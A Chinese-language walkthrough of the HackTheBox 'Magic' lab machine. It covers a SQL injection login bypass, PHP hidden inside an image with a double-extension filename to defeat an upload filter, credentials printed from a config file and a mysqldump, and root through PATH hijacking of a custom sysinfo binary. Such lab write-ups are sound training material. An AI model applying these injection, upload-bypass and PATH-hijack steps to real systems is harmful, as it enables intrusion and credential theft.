HackTheBox - magic

通过扫描,开放了以下服务:

22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 
| ssh-hostkey:  
80/tcp    open     http    Apache httpd 2.4.29 ((Ubuntu)) 
| http-methods:  
|_  Supported Methods: GET HEAD POST OPTIONS 
|_http-server-header: Apache/2.4.29 (Ubuntu) 
|_http-title: Magic Portfolio 
49163/tcp filtered unknown 

很明显重心就在80端口了。


通过 '-- 发现存在注入漏洞,直接跳转到了 upload.php 页面



值得说明的是,图片里可以嵌入php代码。如果不成功,就使用【UltraEdit】软件以16进制编辑。如下图,最后添加完php代码是可以正常显示为图片的,这点需要知道。


到这一步的时候,发现无法直接上传php文件。更改了后缀后,不停地调试发现端截取扩展名的时候存在问题【便把扩展名改为了:.php.daddy.php;.png】 ,经测试后发现这个文件无论在windows还是linux都是属于隐藏文件。上传的时候要显示所有文件。

   C:\Users\Administrator\Desktop\magic 的目录

2020/05/04  14:26    <DIR<          .
2020/05/04  14:26    <DIR<          ..
2020/05/04  14:15            12,288 .46153_2.py.swp
2020/05/04  14:16             3,717 .php.daddy.php;.png
2020/05/04  14:15         1,972,529 .php.fuck.php;.png
2020/05/03  14:10         2,028,217 1.png
2020/05/03  14:09         1,969,487 2.png
2020/05/03  14:48            70,919 2020-05-03_144823.png
2020/05/03  14:48            17,906 2020-05-03_144847.png
2020/05/03  14:43            45,637 3.png
2020/05/04  14:17           420,333 3_1.png
2020/05/03  19:02           285,360 4.png
2020/05/03  20:21           273,975 5.png
2020/05/04  14:14           405,087 5_1.png
2020/05/04  14:13           339,231 6.png
2020/05/03  19:19             7,498 build-alpine
2020/05/04  14:10            46,028 magic
2020/05/04  11:55            18,262 networkd-dispatcher.py
2020/05/04  14:30    <DIR>          ok
2020/05/03  14:14             3,042 reverse_shell_php.php;jpg.php
2020/05/04  14:20    <DIR>          rootfs
              17 个文件      7,919,516 字节
               4 个目录 40,880,676,864 可用字节
  
上传成功后,打开网页,顺利获取 www-data 权限。【忘了说:路径在:http://10.10.10.185/images/uploads/.php.daddy.php;.png】


发现数据库连接信息
$ cat db.php5
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

    private static $cont  = null;

    public function __construct() {
        die('Init function is not allowed');
    }

    public static function connect()
    {
        // One connection through whole application
        if ( null == self::$cont )
        {
            try
            {
                self::$cont =  new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
            }
            catch(PDOException $e)
            {
                die($e->getMessage());
            }
        }
        return self::$cont;
    }

    public static function disconnect()
    {
        self::$cont = null;
    }
}

$ cat upload.php


发现 mysql 数据库信息,mysql命令被删除了,发现可以使用 mysqldump 命令。导出 admin 密码
www-data@ubuntu:/var/lib$ mysqldump --all-databases -u theseus -piamkingtheseus
<sqldump --all-databases -u theseus -piamkingtheseus
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- MySQL dump 10.13  Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost    Database: 
-- ------------------------------------------------------
-- Server version       5.7.29-0ubuntu0.18.04.1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Current Database: `Magic`
--

CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */;

USE `Magic`;

--
-- Table structure for table `login`
--

DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
  `id` int(6) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `password` varchar(100) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `login`
--

LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2020-05-02 23:53:36

顺便取走 user 证明
theseus@ubuntu:~$ cat user.txt
cat user.txt
48fbfc4f09055c0fd2c77f15e6dadf82

截止到这里,尝试登录theseus 用户,可以成功登录,密码为mysql数据库 admin用户的密码。
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
下面是目前为止所有获取的密码信息:
Th3s3usW4sK1ng
iamkingtheseus


提权,使用 linpeas 后发现没有明显的提权特征。
 发现 theseus 目录有隐藏文件夹 .gnupg,被绕了一圈。
 然后又发现IMageMagick-6 下
        /etc/pki/fwupd/LVFS-CA.pem
        /etc/pki/fwupd-metadata/LVFS-CA.pem
   有两个私钥证书,又被绕了一圈。

忽略了最明显的 /usr/bin/sysinfo 这个命令,看了别人的闯关帖子。才发现,这个命令是由多个命令组成的。并不是linux 系统命令的一部分。确实坑在这了。



最后修改环境变量:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/theseus/
_=/usr/bin/env


顺利取得 root.txt



评论